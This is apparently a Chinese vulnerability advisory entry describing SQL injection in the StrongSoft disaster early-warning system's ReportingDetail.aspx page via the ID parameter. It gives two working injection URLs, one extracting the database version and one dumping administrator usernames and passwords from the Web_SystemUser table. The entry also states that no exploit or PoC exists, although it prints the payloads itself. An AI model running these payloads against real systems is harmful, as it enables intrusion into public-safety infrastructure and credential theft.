StrongSoft灾害预警系统ReportingDetail.aspx...
-
AV
AC
AU
C
I
A
发布：
2025-04-13
修订：
2025-04-13
``` 注入链接：/Disaster/Reporting/ReportingDetail.aspx 注入参数：ID 【获取数据库版本】 /Disaster/Reporting/ReportingDetail.aspx?ID=1' AND 3=CHAR(@@version) -- 【管理员账号密码】 /Disaster/Reporting/ReportingDetail.aspx?ID=1' AND+2709=((select+top+1+UserID%2b'---'%2bUserPwd+from+strongmain.dbo.Web_SystemUser))-- ```  
漏洞利用/PoC
暂无可用Exp或PoC
受影响的平台与产品
当前有0条受影响产品信息
